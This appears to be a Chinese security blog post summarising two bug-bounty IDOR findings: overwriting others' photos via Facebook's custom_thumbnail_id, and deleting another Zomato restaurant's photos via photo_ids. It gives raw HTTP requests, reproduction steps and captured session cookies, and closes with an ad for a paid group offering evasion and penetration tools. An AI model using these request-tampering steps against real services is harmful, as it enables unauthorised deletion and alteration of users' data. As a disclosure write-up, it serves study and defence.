IDOR研究系列-01
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
本系列从业务功能以及影响力的角度去总结.
类型一: 越权删除其他图片
$10750
facebook中有这样一个功能:可以将照片设置为海报艺术(强制性)和封面图像(可选项)
在创建新系列时,如果攻击者试图修改海报艺术和封面图像的照片对象,服务器验证是正确的,并返回一个错误。
但是在编辑该系列时,封面图像的所有权检查验证缺失。所以任何在Facebook上公开可见的照片的id都可以替换掉封面图片。
将“custom_thumbnail_id=xxx”值替换为任何照片id,请求如下所示:
POST /media/manager/shows/edit_show_metadata/?show_id=xxx&title=xxx&description=&custom_thumbnail_id=xxx&is_serialized=false&poster_art_id=xxx&session_id=xxx&av=xxx HTTP/1.1
Host: business.facebook.com
Connection: close
Content-Length: 467
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Viewport-Width: 2048
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://business.facebook.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://business.facebook.com/creatorstudio/?tab=content_shows&collection_id=all_pages
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sb=xxx; datr=xxx; dpr=1.25; c_user=xxx;
__user=xxx&__a=1&fb_dtsg=xxx
当我们看到这个情况的时候,显然是需要挨个去替换id来测试的;
再删除某个系列的时候,也会删除所有的视频,海报,以及图片,包括受害者的图片
$600
在测试某个接口的时候,发现添加的图片正在被删除,如下所示:
GET /php/client_manage_handler?res_id=REDACTED&photo_ids%5B%5D=r_YxNDUOTE4MTYzO&removable=1&case=remove-active-photo HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.zomato.com/
X-Requested-With: XMLHttpRequest
Cookie: REDACTED
Connection: close
photo_ids可能存在一个IDOR,这里找到一个另外拥有账户的用户去帮忙(因为需要去查看其私人照片,需要有权限);
1.用商店1导航到 https://www.zomato.com/clients/manage_photos.php
2.删除一张照片,并捕获请求,如下所示:
GET /php/client_manage_handler?███&case=remove-active-photo HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.zomato.com/
X-Requested-With: XMLHttpRequest
Cookie: _ga=GA1.2.2082511252.1535917423; _gid=GA1.2.1587734047.1535917423; PHPSESSID=4821c7caf69f3253db3be3d4c42a15b7b04d223a; fbcity=283; zl=en; fbtrack=a09417c27b7e98b4b3f2ad8357ef3903; __utmx=141625785.FQnzc5UZQdSMS6ggKyLrqQ$0:NaN; __utmxx=141625785.FQnzc5UZQdSMS6ggKyLrqQ$0:1535944804:8035200; dpr=2; cto_lwid=82057293-9985-419b-a25b-4d8b6d89951b; G_ENABLED_IDPS=google; zhli=1; squeeze=cd186e1f53eee0d94e51ef00c9d4eb25; orange=2769113; al=1; session_id=null
Connection: close
X-Forwarded-For: 127.0.0.1
3.保存 photo_ids 这个参数
4.进入第二个餐厅账户,用不同的res_id和cookies捕获相同的请求。
5.用步骤3中的id替换photo_ids
,并发送请求。
6.观察到照片被删除。
今天的分享就到此为止.
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读